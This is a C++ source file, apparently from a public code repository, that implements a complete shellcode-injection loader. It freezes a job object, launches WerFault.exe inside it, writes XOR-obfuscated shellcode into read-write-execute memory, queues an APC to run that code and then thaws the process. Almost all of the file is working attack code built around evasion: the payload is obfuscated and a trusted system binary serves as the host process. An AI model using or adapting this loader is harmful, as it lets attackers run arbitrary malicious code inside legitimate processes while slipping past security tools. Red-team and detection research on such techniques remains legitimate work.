Create Early-Cryo-Bird-Shellcode-Injection.cpp
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Zero2504
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Early-Cryo-Bird-Shellcode-Injection.cpp
Normal file
231
Early-Cryo-Bird-Shellcode-Injection.cpp
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#define _CRT_SECURE_NO_WARNINGS
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#define JobObjectFreezeInformation 18
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#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
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#define XOR_KEY 0xAA
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#include <Windows.h>
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#include <stdio.h>
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#include <iostream>
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#include <winternl.h>
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HANDLE hJob = NULL;
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typedef const OBJECT_ATTRIBUTES* PCOBJECT_ATTRIBUTES;
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typedef NTSTATUS(NTAPI* pNtQueueApcThread)(HANDLE, PVOID, PVOID, PVOID, PVOID);
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typedef NTSTATUS(NTAPI* pNtWriteVirtualMemory)(HANDLE, PVOID, PVOID, ULONG, PULONG);
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typedef NTSTATUS(NTAPI* pNtAllocateVirtualMemoryEx)(HANDLE, PVOID*, PSIZE_T, ULONG, ULONG, PVOID, ULONG);
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typedef NTSTATUS(NTAPI* pNtSetInformationJobObject)(HANDLE, JOBOBJECTINFOCLASS, PVOID, ULONG);
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typedef NTSTATUS(NTAPI* pNtAssignProcessToJobObject)(HANDLE, HANDLE);
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typedef NTSTATUS(NTAPI* pNtCreateJobObject)(PHANDLE, ACCESS_MASK, PCOBJECT_ATTRIBUTES);
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HMODULE hNtDll = GetModuleHandleA("ntdll.dll");
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pNtQueueApcThread NtQueueApcThread = (pNtQueueApcThread)GetProcAddress(hNtDll, "NtQueueApcThread");
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pNtWriteVirtualMemory NtWriteVirtualMemory = (pNtWriteVirtualMemory)GetProcAddress(hNtDll, "NtWriteVirtualMemory");
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pNtAllocateVirtualMemoryEx NtAllocateVirtualMemoryEx = (pNtAllocateVirtualMemoryEx)GetProcAddress(hNtDll, "NtAllocateVirtualMemoryEx");
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pNtSetInformationJobObject NtSetInformationJobObject = (pNtSetInformationJobObject)GetProcAddress(hNtDll, "NtSetInformationJobObject");
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pNtAssignProcessToJobObject NtAssignProcessToJobObject = (pNtAssignProcessToJobObject)GetProcAddress(hNtDll, "NtAssignProcessToJobObject");
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pNtCreateJobObject NtCreateJobObject = (pNtCreateJobObject)GetProcAddress(hNtDll, "NtCreateJobObject");
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// Job Object Definitions for Process Freezing
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typedef struct _JOBOBJECT_WAKE_FILTER {
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ULONG HighEdgeFilter;
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ULONG LowEdgeFilter;
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} JOBOBJECT_WAKE_FILTER, * PJOBOBJECT_WAKE_FILTER;
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typedef struct _JOBOBJECT_FREEZE_INFORMATION {
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union {
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ULONG Flags;
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struct {
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ULONG FreezeOperation : 1;
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ULONG FilterOperation : 1;
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ULONG SwapOperation : 1;
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ULONG Reserved : 29;
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};
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};
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BOOLEAN Freeze;
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BOOLEAN Swap;
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UCHAR Reserved0[2];
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JOBOBJECT_WAKE_FILTER WakeFilter;
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} JOBOBJECT_FREEZE_INFORMATION, * PJOBOBJECT_FREEZE_INFORMATION;
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void SetColor(int color) {
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HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
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SetConsoleTextAttribute(hConsole, color);
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}
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void decrypt(unsigned char* code, int size) {
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for (int i = 0; i < size; i++) {
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code[i] ^= XOR_KEY;
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}
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}
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int main() {
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NTSTATUS creationJob = NtCreateJobObject(&hJob, STANDARD_RIGHTS_ALL | 63, NULL);
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if (!NT_SUCCESS(creationJob)) {
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SetColor(FOREGROUND_RED);
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printf("Error: 0x%X\n", creationJob);
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CloseHandle(hJob);
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return -1;
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}
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JOBOBJECT_FREEZE_INFORMATION freezeInfo = { 0 };
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freezeInfo.FreezeOperation = 1; // Initiate freeze
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freezeInfo.Freeze = TRUE;
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NTSTATUS freezeStatus = NtSetInformationJobObject(hJob, (JOBOBJECTINFOCLASS)JobObjectFreezeInformation, &freezeInfo, sizeof(freezeInfo));
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if (!NT_SUCCESS(freezeStatus)) {
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SetColor(FOREGROUND_RED);
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printf("Error: 0x%X\n", freezeStatus);
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CloseHandle(hJob);
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return -1;
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}
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STARTUPINFOEXW siEx = { 0 };
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ZeroMemory(&siEx, sizeof(siEx));
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siEx.StartupInfo.cb = sizeof(siEx);
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SIZE_T attrListSize = 0;
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InitializeProcThreadAttributeList(NULL, 1, 0, &attrListSize);
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siEx.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attrListSize);
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if (!siEx.lpAttributeList) {
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printf("[-] Error in the attribute list allocation.\n");
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CloseHandle(hJob);
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return -1;
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}
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if (!InitializeProcThreadAttributeList(siEx.lpAttributeList, 1, 0, &attrListSize)) {
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std::cerr << "[-] Error initialising the attribute list. Error: " << GetLastError() << std::endl;
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HeapFree(GetProcessHeap(), 0, siEx.lpAttributeList);
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CloseHandle(hJob);
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return -1;
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}
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if (!UpdateProcThreadAttribute(
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siEx.lpAttributeList,
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0,
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PROC_THREAD_ATTRIBUTE_JOB_LIST,
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&hJob,
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sizeof(HANDLE),
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NULL,
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NULL))
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{
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std::cerr << "[-] Error updating the attribute list. Error: " << GetLastError() << std::endl;
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DeleteProcThreadAttributeList(siEx.lpAttributeList);
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HeapFree(GetProcessHeap(), 0, siEx.lpAttributeList);
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CloseHandle(hJob);
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return -1;
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}
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PROCESS_INFORMATION pi = { 0 };
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ZeroMemory(&pi, sizeof(pi));
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if (!CreateProcessW(
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L"C:\\Windows\\System32\\WerFault.exe",
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NULL,
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NULL,
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NULL,
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FALSE,
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EXTENDED_STARTUPINFO_PRESENT,
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NULL,
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NULL,
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&siEx.StartupInfo,
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&pi))
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{
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std::cerr << "[-] CreateProcessW failed: " << GetLastError() << std::endl;
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DeleteProcThreadAttributeList(siEx.lpAttributeList);
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HeapFree(GetProcessHeap(), 0, siEx.lpAttributeList);
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CloseHandle(hJob);
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return -1;
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}
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std::cout << "[+] Process started in Job! PID: " << pi.dwProcessId << std::endl;
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DeleteProcThreadAttributeList(siEx.lpAttributeList);
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HeapFree(GetProcessHeap(), 0, siEx.lpAttributeList);
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unsigned char myCode[] = { 0x3a, 0x3a, 0x3a, 0x56, 0xe2, 0x2b, 0x4e, 0x5a, 0x55, 0x55, 0x55, 0x42, 0x7a, 0xaa, 0xaa, 0xaa, 0xeb, 0xfb, 0xeb, 0xfa, 0xf8, 0xfb, 0xfc, 0xe2, 0x9b, 0x78, 0xcf, 0xe2, 0x21, 0xf8, 0xca, 0x94, 0xe2, 0x21, 0xf8, 0xb2, 0x94, 0xe2, 0x21, 0xf8, 0x8a, 0x94, 0xe2, 0x21, 0xd8, 0xfa, 0x94, 0xe2, 0xa5, 0x1d, 0xe0, 0xe0, 0xe7, 0x9b, 0x63, 0xe2, 0x9b, 0x6a, 0x06, 0x96, 0xcb, 0xd6, 0xa8, 0x86, 0x8a, 0xeb, 0x6b, 0x63, 0xa7, 0xeb, 0xab, 0x6b, 0x48, 0x47, 0xf8, 0xeb, 0xfb, 0x94, 0xe2, 0x21, 0xf8, 0x8a, 0x94, 0x21, 0xe8, 0x96, 0xe2, 0xab, 0x7a, 0x94, 0x21, 0x2a, 0x22, 0xaa, 0xaa, 0xaa, 0xe2, 0x2f, 0x6a, 0xde, 0xc5, 0xe2, 0xab, 0x7a, 0xfa, 0x94, 0x21, 0xe2, 0xb2, 0x94, 0xee, 0x21, 0xea, 0x8a, 0xe3, 0xab, 0x7a, 0x49, 0xf6, 0xe2, 0x55, 0x63, 0x94, 0xeb, 0x21, 0x9e, 0x22, 0xe2, 0xab, 0x7c, 0xe7, 0x9b, 0x63, 0xe2, 0x9b, 0x6a, 0x06, 0xeb, 0x6b, 0x63, 0xa7, 0xeb, 0xab, 0x6b, 0x92, 0x4a, 0xdf, 0x5b, 0x94, 0xe6, 0xa9, 0xe6, 0x8e, 0xa2, 0xef, 0x93, 0x7b, 0xdf, 0x7c, 0xf2, 0x94, 0xee, 0x21, 0xea, 0x8e, 0xe3, 0xab, 0x7a, 0xcc, 0x94, 0xeb, 0x21, 0xa6, 0xe2, 0x94, 0xee, 0x21, 0xea, 0xb6, 0xe3, 0xab, 0x7a, 0x94, 0xeb, 0x21, 0xae, 0x22, 0xe2, 0xab, 0x7a, 0xeb, 0xf2, 0xeb, 0xf2, 0xf4, 0xf3, 0xf0, 0xeb, 0xf2, 0xeb, 0xf3, 0xeb, 0xf0, 0xe2, 0x29, 0x46, 0x8a, 0xeb, 0xf8, 0x55, 0x4a, 0xf2, 0xeb, 0xf3, 0xf0, 0x94, 0xe2, 0x21, 0xb8, 0x43, 0xe3, 0x55, 0x55, 0x55, 0xf7, 0x94, 0xe2, 0x27, 0x27, 0xb0, 0xab, 0xaa, 0xaa, 0xeb, 0x10, 0xe6, 0xdd, 0x8c, 0xad, 0x55, 0x7f, 0xe3, 0x6d, 0x6b, 0xaa, 0xaa, 0xaa, 0xaa, 0x94, 0xe2, 0x27, 0x3f, 0xa4, 0xab, 0xaa, 0xaa, 0x94, 0xe6, 0x27, 0x2f, 0xbe, 0xab, 0xaa, 0xaa, 0xe2, 0x9b, 0x63, 0xeb, 0x10, 0xef, 0x29, 0xfc, 0xad, 0x55, 0x7f, 0xe2, 0x9b, 0x63, 0xeb, 0x10, 0x5a, 0x1f, 0x08, 0xfc, 0x55, 0x7f, 0xc2, 0xcf, 0xc6, 0xc6, 0xc5, 0xaa, 0xc2, 0xcf, 0xc6, 0xc6, 0xc5, 0xaa, 0xdf, 0xd9, 0xcf, 0xd8, 0x99, 0x98, 0x84, 0xce, 0xc6, 0xc6, 0xaa };
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SIZE_T sizeOfCode = sizeof(myCode);
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SIZE_T regionSize = sizeOfCode;
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PVOID remoteMemory = NULL;
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NTSTATUS allocStatus = NtAllocateVirtualMemoryEx(pi.hProcess, &remoteMemory, ®ionSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE, NULL, 0);
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if (NT_SUCCESS(allocStatus)) {
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printf("[+] NtAllocateVirtualMemoryEx allocated memory at 0x%p\n", remoteMemory);
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}
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else {
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printf("Error: 0x%X\n", allocStatus);
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CloseHandle(hJob);
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CloseHandle(pi.hThread);
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CloseHandle(pi.hProcess);
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return -1;
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}
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decrypt(myCode, sizeOfCode);
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NTSTATUS writeStatus = NtWriteVirtualMemory(pi.hProcess, remoteMemory, myCode, sizeOfCode, NULL);
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if (NT_SUCCESS(writeStatus)) {
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printf("[+] Shellcode was written to 0x%p\n", remoteMemory);
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}
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else {
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printf("Error: 0x%X\n", writeStatus);
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CloseHandle(hJob);
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CloseHandle(pi.hThread);
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CloseHandle(pi.hProcess);
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return 1;
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}
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PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)remoteMemory;
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NTSTATUS statusAPC = NtQueueApcThread(pi.hThread, (PVOID)apcRoutine, NULL, NULL, NULL);
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if (!NT_SUCCESS(statusAPC)) {
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SetColor(FOREGROUND_RED);
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printf("\t[!] NtQueueApcThread Failed With Error : 0x%X \n", statusAPC);
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return FALSE;
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}
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else {
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SetColor(FOREGROUND_GREEN);
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printf("[+] NtQueueApcThread successfully queued APC\n");
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}
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SetColor(FOREGROUND_INTENSITY);
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printf("[i] Press Enter for thawing....\n");
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getchar();
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freezeInfo.FreezeOperation = 1; // Unfreeze operation
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freezeInfo.Freeze = FALSE;
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NTSTATUS unfreezeStatus = NtSetInformationJobObject(hJob, (JOBOBJECTINFOCLASS)JobObjectFreezeInformation, &freezeInfo, sizeof(freezeInfo));
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if (!NT_SUCCESS(unfreezeStatus)) {
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SetColor(FOREGROUND_RED);
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printf("Error: 0x%X\n", unfreezeStatus);
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CloseHandle(hJob);
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return -1;
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}
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SetColor(FOREGROUND_BLUE);
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printf("[!] Process thawed successfully!\n");
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WaitForSingleObject(pi.hProcess, 0xFFFFFFFF);
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CloseHandle(hJob);
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CloseHandle(pi.hThread);
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CloseHandle(pi.hProcess);
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return 0;
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}
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